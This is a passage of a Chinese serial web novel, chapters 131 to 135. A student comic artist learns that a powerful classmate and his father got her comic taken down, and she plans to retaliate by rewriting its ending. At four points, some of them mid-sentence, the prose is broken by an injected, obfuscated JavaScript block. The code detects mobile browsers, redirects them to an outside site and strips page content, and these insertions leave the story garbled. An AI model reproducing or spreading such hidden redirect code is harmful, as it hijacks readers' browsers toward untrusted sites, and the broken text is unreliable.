他撤回得那么慌张,就像为了掩饰什么一般,后半段语音被永远埋藏起来,除了他自己以外没人知道说过什么。 很快,新的一条发了过来,像是为了掩盖方才的多舌,“你问我他这两天在做什么,是又发生了什么事吗?他又为难你了?” 庄森芽:「不,没有……」 在没有足够的证据之前,她不想打草惊蛇。虽然费洛值得信赖,但她暂时还不打算把漫画被人举报下架、裴佑哲可能在其中作梗的事情告诉他。 “我听说‘一周情侣’总结会结束之后他就离开学校了,好像到现在也没回来。”费洛发语音说。 庄森芽:「好,我再去问问别人吧。」 发完消息之后,他长叹一口气。 旁敲侧击没什么进展,看来最快的方式还是去当面问问裴佑哲。 想到这里就有点心情复杂,她已经不知道该怎么去面对那个人了。 “你看,如果在海边那天,你不阻止我,让我把他解决掉的话,不就没有这些烦心事了。”听了全程的诺特斯在一旁张口。 庄森芽瘫在餐椅里,有气无力,“你别说那么吓人的话……” “那你想好什么反击措施了吗?” “……没有。”她如实作答。 裴佑哲在学校一手遮天,离开了校园,他也依然是个风云人物。 父亲裴正是市长的朋友,人脉关系深不可测,怎么想都不是她一个刚成年不久的小屁孩能敌得过的。 现在放低姿态去赔礼道歉还来得及吗? 庄森芽有点绝望地想着。 父母公司的困境,漫画被举报下架的境地,回不去的学校和学生会,几座大山压下来,让她有些喘不过气。 感觉像是被逼到悬崖旁的马,不如瞪羚那般矫健,也不似苍鹰那般自由,只能昂首挣扎,嘶鸣徘徊,可还是无法逃脱困境。 “诺特斯……”她无力地垂着头,简直想抛下这一切,“要不你把我带到漫画里去吧……” ## 二十五层的大厦,气派宏伟的大厅中,职工们在电子闸门进进出出,每个身影似乎都很忙,有亟待解决的事务。 裴佑哲刚从闸门出来,一伙人正巧从旋转门进入了大厅,朝他所在的闸门走来。 他立在原地,表情是得体而自信的微笑,其中还有一丝尊敬和憧憬。 “爸。” 领头人看到了他,驱散了身旁的跟班,揽过自己的儿子,带他去往大厅的候客区。 在包着昂贵红色真皮的沙发上坐下来,裴佑哲向自己的父亲微微颔首。 “前两天的事情都处理完了?”两鬓霜白的男人问。 他看起来五十岁左右,精力旺盛,双目有神,微微凹陷的脸颊上没什么赘肉,神色是精明的,身材看起来十分精壮。 “已经都结束了。”裴佑哲看起来志得意满,仿佛胜券在握。 裴正点了根烟,烟雾缭绕在他的面容前方,“你大费周章要打压一部漫画,是结果能给你带来什么好处吗?” 中年人俨然一副老练商人的模样,计算着每一个行动的利益,及其子嗣的也不例外。 裴佑哲如实作答,“这次只是个人恩怨。” 裴正扬扬眉毛,似乎对这个回答很是意外,仿佛他的儿子从来没有因为这种私事而动用公司的权利,“说来听听。” “这部漫画的作者威胁到了我在学校的形象,我认为有必要制止她的行为。” “怎么个威胁法?” “漫画的主人公是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837802|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以我为原型创作的,他与我的个人形象息息相关,然而漫画作者却与我有交恶的可能,行为不在我的掌控之中,我认为这是个隐患。” 裴正沉默半晌,在烟灰缸里点去灰色的浮沫,又吸了一口烟,“以你为主人公的漫画……我好像不是第一次听过类似的说法。” 裴佑哲的面色一顿,显露出一丝迟疑,他没接上父亲的话。 “是高三时候的事情吧?在你转学之前。” “……是。”裴佑哲垂下眼睛,又直又长的睫毛挡住了其中的光亮。 “是同一个人?”中年人眯起眼睛问,“那个你哭着死活都不肯离开的小姑娘。” 裴佑哲落在膝盖上的拳头攥紧了,似乎有一种阴沉的气息在他的周身越积越深,再抬起头来时,眼中已然是无情的目光,“今非昔比了,我不再是以前那个懦弱的我。” “那就好,你应该知道那人是谁的女儿。”裴正把手里的烟一折,扔进烟灰缸里,丝丝白烟还在飘起。 他站起身来,结束了与儿子短暂的交流。 裴佑哲一个人坐在沙发上,身影看起来像是凝固的雕像。 他不知在想些什么,就那么一动不动的坐了大概有十分钟,而后起身离开了大厦,投入冬日的刺骨寒风之中。 距离《灵月十四》这部漫画被整改下架已经过去了五天,然而,就像一拳打在沙包上,一点反馈都没有,也没有任何的反扑,它和它的作者销声匿迹了一般,没有一星半点的行动。 裴佑哲靠在自己的车旁,车辆停在公司楼下,来往的职场人员打量着他,或许在期待短暂的视线接触,寄希望于这个衣冠楚楚的年轻人能为自己的人生带来什么新的篇章。 但这样的妄想从未发生,董事长的儿子自始至终只顾着盯着自己的手机,气场在周围形成一道屏障,摒退着鸟雀一般的人群。 手机屏幕上,光标在闪烁着,聊天框的上方显示着三个字的名字,最后一条历史信息是由他发出。 指尖在键盘上凝固,目光沉郁,似在深思熟虑。 又过半晌,他抛去所有犹豫,单手在屏幕上打字,一段话一气呵成,发送键上的点击毫不犹豫。 消息发出去,他扫过一秒,似在检查错别字,而后把手机揣进怀中,没有半点拖泥带水。 钻进主驾驶启动车辆,汇入车流之中。 手机静静躺在熨平整的口袋中,屏幕未熄,上方他发出的最后一条信息是:「段子良和我说你已经一周没有出席外联部会议,这是怎么回事?」 二十分钟后,车辆抵达高尔夫球场。 扣上帽子,带上球杆,他与场地内的商业合作人士汇合。 今日不聊事业,只谈笑风生,讨论政治、预测经济、调侃人生。 一杆接一杆,一球接一球,时间过得很快,三小时转瞬即逝,眨眼黄昏将至。 他从未取出过手机,那条发出的消息被人遗忘,回复似乎也不被重视。 直到球局散场,再度回到车上,嗡嗡作响的手机昭告存在,他这才拿出它,接起一个无关紧要的销售电话,然后挂掉它。 三小时内收到的消息有很多,他一一阅览,然而,原本胜券在握的神情却愈发僵硬。 万千消息之中,没有他在等待的那一个。 那人是沉默的,就如同她漫画被举报下架之后的表现,如一潭没有波动的死水,如何的风浪都搅不起半点回应。 三个小时,原是打算让另一个人苦苦等待,可直到这一刻才发觉计划已然失败。 他眉目间的沟壑愈发深邃,指尖再次在键盘上斟酌,然而这次没能落下半句话语。 132. 宿敌是不能变成家属的 天色将晚,车辆停在被树林包围的停车场,麻雀互相咒骂,北风阴森地呼啸,车内幽幽点亮的顶灯是唯一的光源。 他打开通讯录,找到一个号码拨了过去,五秒,它被接了起来。 未等对方开口,裴佑哲先行问道:“庄森芽在没在宿舍?” 对面的人沉默片刻,“我还以为等你联系我要下辈子。” “玥诗,回答我的问题。” 电话另一侧的人却置若罔闻,“总结会之后,你都干什么去了?” “和你没有关系。”手机挡住侧脸,徒留一双冰冷的眼睛,他态度冷淡。 “你就是这么对待女朋友的吗?” “……”裴佑哲静默半晌,“要怎样你才能告诉我。” “来找我。” “我不在学校。”他说。 “巧了,我也不在。” 石玥诗挂掉了电话,紧接着,一个地理位置发了过来,那是一家酒吧,离高尔夫球场不远。 屏幕的荧光晃在裴佑哲的脸上,光线的明暗随着内容的改变而变化,使他的脸看起来阴晴不定。 十五分钟之后,他来到了定位的酒吧附近。 这是一条有着网红风格装修的商街,路上行走的人并不多,但各个小店里几乎已经挤满了人。 并不是多么高雅的场所,甚至没有专属的停车位,裴佑哲在路边把车停下,下车,遥望这片灯红酒绿,眉头微微蹙起。 他看起来对要去的地方并不满意,起码是瞧不起的。 来到一家名叫‘断崖’的酒吧,它被挂着小夜灯的塑料植物包裹着,墙上画着不知哪里的海景图,灯光在地面照射出劣质的星光大道,所见之处尽是虚假。 室内的座位已经满了,裴佑哲的目光向室外扫去,在一个简陋的角落发现了石玥诗。 她正捏着一杯冰蓝色的酒,仰头往自己的嘴里倒,可那液体纹丝未动,她似乎只是轻抿了一下,独独品尝它辛辣的滋味。 裴佑哲走过去,没有打招呼,拉开椅子坐下。 自从他现身在这没什么名堂的小酒吧里,打量的视线便络绎不绝。 他身上还穿着打高尔夫那时穿的高领白色保暖卫衣,下身是一条黑色休闲长裤,初冬不易出汗,他也没怎么打球,光和别人聊天,如何干爽地进场就如何干爽地退场。 这身在室外很快就会被寒冷侵袭,但他似乎不打算久留,也就没有将薄羽绒服从车上取下。 而在他对面,石玥诗也只套了一件看起来不太保暖的山羊绒毛衣,下身是条修身的瑜伽裤,她鼻尖有点泛红,不知是冷的,还是醉的。 俊男靓女共坐一桌,成了这家酒吧一道靓丽的风景线。 而风景线上的人心情或许并不美丽,他们凝望着彼此,表情是严肃的。 “喝点什么?我请。”石玥诗先打破了沉默,伸手招呼服务员。 服务员的响应很快,提着笑脸迎上来,就仿佛时刻在留意着这一桌的动向。 “说完话我就走。”裴佑哲并不领情。 石玥诗充耳不闻,几乎可以说是一意孤行,为他点了一杯法式马提尼。 一杯鲜红的酒水端上来,但没有人碰它。 “她现在在医院。”几乎没什么铺垫,石玥诗突然说。 裴佑哲表情微动,但很快被掩饰,“怎么回事?” “好像是胃病犯了,差不多是这周三的事情。” 他垂下眼睛,似乎若有所思,片刻又抬起,“哪家医院?” “世安医院。” 得到了一个明确的地点,他抬腿就走。 “佑哲。”石玥诗呼唤他,“你就打算这么离开。” 他驻足,侧过头来,无言地等待石玥诗的下一句话。 她又喝了口酒,这次是猛灌了一口,十分有气势地将玻璃杯砸在餐桌上,周围客人的交谈声都小了一些。 “自从总结会结束后,你一次都没有来找我。”她自下而上看着他,眼里有一丝不屈的光,其中堆满了失望和愤恨,“那我们公布关系的意义在哪里?” 裴佑哲依然斜睨着她,不发一语。 “难道我的价值就只存在于公开的那一瞬间吗?”石玥诗说,“只是为了让她看到那一幕,然后我就没有用了,是吧。” 他目光移向一旁的塑料假花,表情不为所动,“你索求的一直都是一个名分,我给了,那么多人都看着,你还有什么不满足。” 石玥诗嗤笑了一声,用一种难以理解的神色盯着裴佑哲,就仿佛他在说的是多么荒唐的话。 她坐了半倾,拿起自己的手提包站起来,桌上半杯玛格丽特和一杯未动的法式马提尼被人冷落。 “我们分手吧。”她看着他说。 “那就分手吧。”裴佑哲没再看她,包括说这句话的时候也是。 这场分手来的是这样随意,就像取消一场无关紧要的赴约。 他们分道扬镳。 裴佑哲又回到了自己的车上,将导航终点定位在世安医院。 此刻天色已晚,路灯尽职尽责地亮起,为漆黑的道路带去宛若垂暮般昏黄的光明。 明暗交错的光影在他的脸上闪烁,凝重的脸庞看上去思绪繁多。 来到世安医院,站在住院部的前台接待处,他和工作人员说明要见一个名叫庄森芽的患者。 女护士问他,你是她的什么人。 他说是同学。 “实在抱歉,病人正在休息,暂时不接受外人探望。” 一句话将他拒之门外,裴佑哲的脸色有些差。 他没跟护士纠结,转而翻起自己的通讯录。 人脉广的优势就是随时都能有门路,他找到了一位知名老医生的通讯方式,给对方发去一条发消息。 在等待的过程中,他便靠在以承重柱为骨的圆形立柱上。 住院部不像门诊那般嘈杂,只偶尔有零星的人影经过。 十分钟过去,那条消息依然没得到任何回应。 裴佑哲抓起手机,似欲拨通电话。 与此同时,一个黑色的人影在他身前经过。 那人来到前台,向护士申请探望。 护士检查了他的证件,回应得礼貌得当,“好的,探视时间是半个小时,诺特斯先生。” 听到这个名字,裴佑哲猛然抬起头来,目光像刀一样刺向接待处的方向。 站在接待处旁边的男人穿着一件到膝的黑色毛呢外套,里面是灰色的圆领羊毛衣,长靴直到膝盖,衬得整个人挺拔沉稳。 他十分熟门熟路地办好了手续,但没有即刻向病房的方向走。 视线分毫不差地投望过来,他似乎一早就看到裴佑哲在这里。 两人不是第一次见到彼此,但从未说过一句话。 当下,他们就仿佛站在两极,身上带着强劲的斥力。 诺特斯把玩着手里一张白底黑字的探视卡,脸上挂着标志性的笑,仿佛哪怕是世仇站在这里,他也不会失去微笑的余韵。 反观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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庄洪成和祁欢把她送进了医院,大夫诊断说是急性肠胃炎,这病经常会复发。饮食有问题,情绪不对劲,都会导致胃部闹毛病。 她吐得脱水,属于严重情况,于是直接被送进了住院部。 第二天其实就好得差不多了,但没人允许她出院。 爸妈本来就是医学方面的从业者,直接找到了医院的上级,让多开两天的病房。大夫也说保险起见,还是留院多观察两天为好。诺特斯更是充当起了看守的那一个,奉庄森芽父母之命将她牢牢看管在这个病房里。 庄森芽感觉自己像是被什么温柔的独裁者囚禁了,叫苦不能。 “对了,外面有人找你。”诺特斯把敞开的小米粥递给她。 她不配合,连坐都不坐起来,扭头盯着窗户,“什么人?” “裴佑哲。” 听到这个名字,庄森芽唰一下子转过头来,脸上是带着些惊恐的神色,“他找我干什么,我没又惹到他吧。” “我不知道他是来做什么的,表情倒是十足严肃。” “……靠。”嘴上骂骂咧咧,实际却是有点怂。 事情发展至今,裴佑哲这个名字在她心里已经变了味道,成为了恐惧的代名词。 “你要出去见他吗?”诺特斯问,“他应该还没走。” 见他?然后再来住院部待上一周? 她已经下意识觉得裴佑哲会带来新一轮的灾祸了。 133. 主人公的用途就是揉圆搓扁 今天下午的时候,她收到了对方的消息,学生会主席问她为什么这一周都没有参加外联部的会议,庄森芽没法回答,总不能说是因为害怕他、害怕学校。 于是不予回应,装死。 可没想到裴佑哲居然找到了医院来。 要是自己再不露面的话,会不会发生更惨烈的事情啊? “你觉得我应该去见他吗?”她拿不定主意,紧张地坐起来,问诺特斯。 男人沉吟一声,低头用勺子搅和那碗小米粥,盛了一勺出来,吹了吹,送到庄森芽嘴边,“我觉得这件事还是你自己决定为好,毕竟现在在你眼前的是他的竞争对手,回答会有失偏颇。” 鲜黄无味的小米粥递到嘴边,食物是当下最无害的东西,她脑袋里装着事,行为上十分顺从,吃了一口,吞到胃里。 “不过……”诺特斯盛了第二勺,再度送到嘴边,“我倒是可以给你提供一些参考意见。” 她好奇地歪头看他。 诺特斯放下粥碗,从自己口袋里掏出了一个细长的黑色金属物件。 那是一支录音笔,哑光的材质显得很高级。 他摁下播放键,混着细弱电流的声音从中传了出来。 似乎是在空旷的空间录制的,背景音带着些模糊的嘈杂。 率先响起的是一个男性的声音,而这个声音对庄森芽来说再耳熟不过。 〖这部漫画的作者威胁到了我在学校的形象,我认为有必要制止她的行为。〗 〖怎么个威胁法?〗 〖漫画的主人公是以我为原型创作的,他与我的个人形象息息相关,然而漫画作者却与我有交恶的可能,行为不在我的掌控之中,我认为这是个隐患。〗 〖以你为主人公的漫画……我好像不是第一次听过类似的说法。是高三时候的事情吧?在你转学之前。〗 〖……是。〗 〖是同一个人?那个你哭着死活都不肯离开的小姑娘。〗 〖今非昔比了,我不再是以前那个懦弱的我。〗 〖那就好,你应该知道那人是谁的女儿。〗 录音到这里就结束了。 庄森芽听完这段谈话,咀嚼的动作缓缓变慢,她吐出一颗红枣的核,脸上有种尘埃落定的平静。 录音是诺特斯的提议,在确认举报者IP地址主要位于西景别墅区和腾滨公司之后,他提出要尾随两个重要的嫌疑人。 那时,庄森芽还不太赞同这个想法,因为一直以来诺特斯对裴佑哲的态度都是:这人能消失就消失。 她怕出什么事,于是只肯让他跟着裴正。 然而没想到,跟踪来跟踪去,最终却坐实了另外一个始作俑者。 不过,搞清楚这一点之后,她反而没那么怕了。 潜伏的敌人总是令人胆战心惊,可若知道他们的真身,就会发现不是多么恐怖的怪物。 当然,这也不是一场恶作剧。 而是货真价实的攻击,有理有据的诋毁,细密谋划的棋局。 庄森芽拿过诺特斯摆在一旁的粥碗,老老实实将那些营养物质送进自己的喉管里。 她需要充足的体力和精神,不然是赢不了的。 嚼碎已然细软的米粒,她捧着装粥的纸碗,像捧着反击的号角,“已经没什么好说的了。” 她不会离开病房去见他,见了也无话可说。 就如录音笔里对方说的那样:不管过去如何,现在都不一样了。 那个充斥着漫画、笑脸、温情的高一秋天已经一去不复返,泛黄的纸张总有皲裂的一天,是时候把腐烂的书页从记事本里撕掉了。 她取了一张纸巾来,擦擦嘴,目光盯着前方,仿若那处有千军万马正在奔袭而来。 “对话的另一个人是裴正?”她问。 “没错,这人是个看起来干劲十足的企业家。” “他知道我。”庄森芽笃定,“他说‘你应该知道那是谁的女儿’,他知道我爸妈是谁。” 诺特斯:“根据你父亲的说法,他和裴正是大学同学,后来又变成了死对头,应该或多或少都对彼此的家室有所了解吧。” 庄森芽盯着床脚,表情有点阴森,“听他们聊天的意思,佑哲也知道我爸和他父亲的恩怨情仇……” 她说到一半,却是不解,顾自说道:“他是什么时候知道的……在高中那时候就已经知道了,还是最近的事?” 或许,裴佑哲对她态度的大转变就是因为知晓了两家的背景。 但也或许,他从一开始就比谁都清楚。可这样的话,高中那段平和的相处就解释不通了。 “不管怎样,现在已经是这样。”诺特斯说,耸了耸他的肩膀,“他已经这么对你了,他和他老爸是一条阵线上的。” “也就是说,我要是想对付他,就要做好也和裴正交锋的准备吗。” “不光如此,我记得你父亲说过裴正背后的靠山是上茂市市长,如果事情闹得太大,你说不定甚至要做好和市长开战的准备。” 听起来挺唬人的,然而庄森芽却露出一个不屈的笑容,她觉得自己可能是和身旁这个人相处的时间太长,被他感染了,所以无论在怎样绝望的逆境之下,都能不要命地笑出来,“听起来,我得用点见不得光的手段才能取胜了。” 裴佑哲不是觉得她的漫画影响了他的形象吗?那就让它影响得彻底一点吧。 而现在第一件要做的事情就是,让自己吃饱,恢复这两天在病床上消耗的精力。 小米粥索然无味,白面馒头吃着噎人,但它们都是不错的能量源泉,没有调味料的西兰花和野草没什么区别,但吃草是她现在最需要的,身体亟待补充各种各样的营养物质。 吃饭的时候,一个计划便在脑海中酝酿。 一个人的能力是有限的,就算加上诺特斯,能做到的事情也有局限性。 虽然他掌握着极其恐怖的力量,但绝对不能滥用。 当然了,让碍事的人全都消失,这是最为直接的解决办法。 但如果让他那么做了,就算能逃出法网,背后纵容的她也和牢里的那些家伙性质没两样。 父母知道她是这样帮他们解决公司困境的话,肯定也不会赞成。 所以,还是要按部就班地来。 面临的问题有两个,一,被下架的漫画,二,父母光曙公司的财务困境。 这两者的解决方案都牢牢掌握在裴家人的手中,困难也是他们挑起的。 要攻破这堵坚实的城墙,需要更多人的力量。 思路还是和之前一致,她需要群众的支持。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837804|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是,先要过了漫画被下架这一关。 打扫完了小米粥馒头和西兰花,她撑得有点犯困,但强迫自己清醒。 今天是周五晚上,已经不是上班的时间,但她还是给编辑打去了一个时间并不合适的电话。 如果放在平时的话,她可能会为自己这种行为瞻前顾后,害怕惹得对方不开心。但现在,目标明确的当下,她心里只有目的和完成目的的路径,心灵夯实得就像脚下这片大地,任何的风吹雨打都纹丝不动。 对面的人接起来,音色是有些倦怠的,“怎么了,这个时间打电话?” “李哥,不好意思,这么晚打扰你。”她态度是诚恳的,但语气铿锵坚定,有种不达目的不罢休的架势,“但我有急事,你能不能帮我把漫画重新上架?” “这个时候?”电话另一端的人声音有点犹豫,“公司的人应该都下班了……” “你能远程吗?” “呃,可以倒是可以……” 庄森芽听出了他的不情愿,或许周五末尾的工作总是令人生厌,她没有上班的经历,但是类比一下上学时期周五额外布置的作业,大概能理解对方的心情。 但理解归理解,有些时候就是必须委屈别人才能达成目标,不这样的话只会变成一只倒刺的刺猬,如何行动针扎的都是自己。 “下周一给你点奶茶。”她说,“帮帮忙,只要上架就行,让我改漫画名或者怎样都可以,把我发配去平台上不起眼的角落也无所谓。” 对面的人长长叹息了一声,像是被她的执着说服,接受了一杯奶茶的条件,“好吧,那你等等,我今晚晚些给你消息。” “好的,谢谢你,李哥。” 挂掉电话,坐在病床上,庄森芽依旧是一副心事重重的样子。 诺特斯在一旁盯着她,模样从刚才开始就好奇不已,“你是有什么打算?” 话语声唤回了她的思绪,庄森芽冲诺特斯冷笑一声,意味不明地说,“让你得逞了。” 诺特斯显然不理解她的话,表情愈发困惑。 庄森芽拿起手机来,打开备忘录,开始噼里啪啦在上面敲字,“等着,我要写很长一段话。” 她在手机上写下的是《灵月十四》的剧情梗概。 这部漫画的结局已经快有五六个版本了,她不知道其他的作者是不是这样,但总之自己的这个‘孩子’命途多舛。 要改动的方向有很多,首先,她要给裴佑哲一个下马威。 不是一直把主人公尤梭当成是自己吗?那她就了却他的心愿,亲自在漫画里揭掉他虚伪的面纱。 尤梭一直都是一个正派的形象,虽然职业只是一个平平无奇的土地经纪人,但给人的感觉总像是哪个星球来逃难的王子,身上散发着与别人不一样的正统气质。 和裴佑哲给别人的印象是一样的。 然而,裴佑哲的面具揭开来,底下却是心狠手辣、又报复心极强的。 那么,尤梭也不要维系单调的主人公形象了。 虽然漫画已经进展到了十之八九的程度,但没人说一部作品不能在结局之前来一个超级大反转。 究竟是会拉一坨大的,还是打一次精妙绝伦翻天覆地的翻身仗,她其实不在乎,重要的是把好的变成坏的,坏的变成好的,以来影射现实。 134. 赌 漫画里,尤梭是因为石剑醇这种资源被候鸟山工厂的恶霸独占,而带着一伙人揭竿而起。说来也巧,故事的核心与她父母公司的经历竟有异曲同工之妙,同样是资源垄断,同样是下游产业的苦不堪言,或许自己当初在构思漫画的时候,脑袋里想的就是自家公司的困境,所以才自然而然产出了这样的剧情。 巧合也好,无心插柳柳成荫的注定也罢,现在都成为了可以利用的筹码。 她要用这部漫画去呼吁,在社交平台上点明它的主题—— 反资源垄断。 而主人公尤梭,与裴佑哲别无二致的这个形象,则其实是故事剧情中藏得最深的反面人物。 他召集众人,不过是为了扩大自己的势力;凭自己职业的优势提供住处和仓库,也不过是为了将人员和资源收归手中。 当候鸟山工厂易主之后,他就会露出自己的獠牙,杀光一路走来的同伴,占山为王,成为新一轮的霸主。 这种剧情发布出去,她可能会被尤梭的粉丝骂死,也极有可能遭到裴佑哲的攻击,但她绝不会退让半分。 这是开战的讯号,而这一步充其量只是首次的鼓鸣。 下一步,在向观众表明尤梭才是那个罪大恶极之人之后—— 想到这里,庄森芽的目光落在病床旁边的人身上。 诺特斯本来在削一个苹果,注意到了投来视线后,与她无言地对望着,打量着,似乎是想弄明白她这番无声的诡异行为究竟是因何而起。 庄森芽想起他对她说的那个莱王星上的背景故事。 他说,他一直坚守着一个艰苦的约定。 她攥了攥拳,思虑半晌,极快地在手机上敲打上去几行字。 ——那之后,她要让黑白颠倒。 庄森芽将整个梗概截了几张图,在相册中留存。 紧接着,她把手机递给了诺特斯。 “看看,《灵月十四》大结局的新脉络,但只是前半部分。” 诺特斯放下削了一半的苹果,倾身向前接了过来,饶有兴致,“要改结局?” 这时候的他还什么都没有意识到。 指尖翻动,金棕色的眼眸上下阅览着,他笑意先是变得更深,“可以,要把尤梭写成坏人,我没意见。他总是时不时跳出来吓我一跳,像美洲大蠊一样,赶走了又很快会卷土重来。老是打着正义的旗号,可我总觉得他没安好心……” 说着说着,他脸上的笑容消失了。 直到看到文字的底部,这才缓缓抬起视线,有些迷茫地盯着庄森芽。 她挑挑眉,“怎么是这副表情?” 诺特斯又低头,看向屏幕上的文字,再三确认,就仿佛怕自己看走眼了一样,这副犹疑的模样鲜少在他脸上出现,“这不……这是真的——?” “哈兰。”她打断他,声音放轻了一些,像怕吓到对面的人,“他没死,他就在尤梭身边。” 诺特斯看着她,目光有些呆愣的。 庄森芽:“我原以为,这个友人是因为对你失望至极,所以才加入了与你对立的一方。” 有些时候,创作者的双眼是被蒙住的,他们自己也看不清真相。 只能像挖化石一样,挖出来一小块,得到新的见解,再纠正自己固有的观念。 “但我渐渐想明白了,他不是对你失望,而是死去之后依然担心你这个老朋友,所以他从天堂赶回来了,又深入和地狱没两样的人间。” “……哈兰没死?”诺特斯喃喃着说,仿佛还没有从这句话里回过神来。 “他伪装成小兵的模样,跟在尤梭的身边,是因为早就觉察出了这个人有问题。”庄森芽说,“你可能不把尤梭当一回事,所以对他聚集的势力蛮不在乎,也对他的布局不屑一顾。但这样下去,你真的会被尤梭杀掉。 “毕竟,只要离开石剑醇,你也只是个普通人,诺特斯。” 不知从何时开始,可能就是这两天的事,她已经对他交代的所有一切深信不疑。 不过,就算交托错了信任,也没有关系。 假如诺特斯的演技真的神通广大,连树立了如此多道心房的她都能蒙骗过去,那就这样吧。 她认栽。 这依然是一场赌注,但她已经把筹码全部压在了一边。 已经想好了后果,不是自暴自弃了,而是就算输了,也有勇气承担那之后的一切代价。 “所以……故事可能从一开始就是写好的。”她说,望着尚在震惊中的诺特斯,“尤梭注定要败在自己的虚伪之下。” 手机响了,是编辑发来的消息。拿着手机的诺特斯默默把它还给了她。 编辑说:「漫画已经上架了,为了避人耳目,你还是把名字改了吧。另外因为举报的事情,最近可能也没有什么曝光位给你。」 这样就够了。庄森芽心想。 她向编辑表示了感谢,放下手机,看向一旁尚在滞愣的人,“诺特斯。” 没有回应。 男人坐在椅子上,一手拿着削苹果的小刀,一手松松垮垮捧着一团空气。 “诺特斯。”她又叫了一声。 他回过神来,宛如大梦初醒,“呃,怎么?” 对方这副样子十分难得,庄森芽突然有了调侃的兴质,她眯起眼睛,它们变得狭长,“哈兰没死居然让你这么震惊,难不成你们是恋人来着?” 诺特斯眨眨眼,似乎渐渐清醒过来。 而后,他露出一个无奈的表情,终于恢复成平时的模样,“……就算是我,要接受一个留胡子的长发男人,多少还是有点难度的。” “呵呵。”庄森芽冷笑一声。 “不过哈兰对我来说的确是个很特殊的人,怎么说呢……就像是耶稣上帝一样吧。不过他本身也不是什么普通人就是了。”话语陡然一转,他问庄森芽,“你信教吗?” “我不信。” “那你可能没法理解,我换个说法。”诺特斯又拿过那个处理了一半的苹果,刀尖在他手里很听话,堪堪削掉果皮,保留下来完好的果肉,“他就是那种在你最困难的时候帮助你而不求回报,将自己所有一切都奉献出来而不知索取的圣人,因为强大而不必计算盈亏,总之就是个让人拿他没办法的老好人。” “你是他的朝拜者吗?” “我?”诺特斯像听到什么好笑的话,“我不是。” “那你干嘛形容他为耶稣。” “耶稣身边又不是只有信徒。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不知道从什么时候开始,他来见她的时候手上总是带着点东西,大多时候是吃的,偶尔也会有些有趣的小玩意。 他今天带了两杯奶茶,不过是庄森芽托付他带的,她要鏖战一整天,缺少了糖分和咖啡因的刺激可不行。 “还有二十分钟,我就要开始动笔了。”她提醒。 “嗯,到时候我就假装出门。” 发生在诺特斯身上无法令人理解的事情之一就是,当庄森芽画任何有关《灵月十四》的漫画内容时,他就会消失。 而直到她停笔之后,过去差不多一个小时,他才能重新在这个世界现身。 他们以往总是商量好作画的时间,避免诺特斯在众目睽睽之下骤然消失,引发骚乱。 而这样的担忧,很快也不必存在了。 《灵月十四》即将进入尾声,期盼已久的日子也将到来。 回想起来,真是一段漫长的路程。 心境与最初相比,也已然变化了太多。 二十分钟之后,当笔尖第一次触碰在绘画版上时,家门口传来了关门声。 仿佛穿过了一道通向异界的门,如果现在追上去,会发现门口连半个人影都没有。 庄森芽专心致志,全身心投入在创作上。 她知道,她没有时间耽搁,裴佑哲随时都有可能发现漫画换了个名字又重新上架了,那样他肯定又会展开第二次打击。 而且,她画得越快,就代表诺特斯能回来得越快。 并不是……有多么想念他。 只是现在他俨然变成了她的一张底牌,他的能力为她所用,诺特斯不在,她总觉得心里有点没底。 135. 哈兰·戈斯 漫画一页又一页地画下去,流畅无比,熟知每一个剧情的细节让人不必为下一步的情节而抓耳挠腮。 仿佛变成了一个创世神的执笔者,她在描绘的是一个已知的世界,那里的万物早已拥有生命,创造的阶段已经过去,她只是做一个隐形的摄影机,将那个世界的一幕幕捕获下来。 “尤梭……会有人来揭穿你。”太过投入,以至于觉察不到自己的自言自语。 漫画的情节渐渐在白纸上铺陈开来: 尤梭组织了一帮敢死队,目的是爆破一个大型的候鸟山工厂。但他并没有告诉同僚,这是一次有去无回的征程。 所有人都以为他们能平安回家。 这支队伍里的大部分人都是和尤梭一起白手起家的老家伙们,尤梭曾经承诺过他们,如果能从诺特斯的手中夺回无人之地的所有候鸟山工厂,那么,他们每人都能分到起码一座以上的工厂。 然而,实际上,众人追随的领导者并不打算实现他的诺言。 哈兰也在这支十几人的队伍中,而他早已看破了尤梭的计谋。 在这次爆破行动中,掌握精神控制术的他略施障眼法,保住了十几名成员性命,同时又让尤梭以为他们已经都死了。 哈兰把尤梭的目的告诉了其他同伴,但那些追随这个领导者已久的人们都不愿相信残酷的事实。 于是,哈兰带着他们亲眼去见。 尤梭为丧生的同僚们举办了一场追悼会,在那之后,他回到自己简朴的办公室,用一部老式座机联络不在当场的某人。 他不知道的是,隔墙有耳,而且有很多。 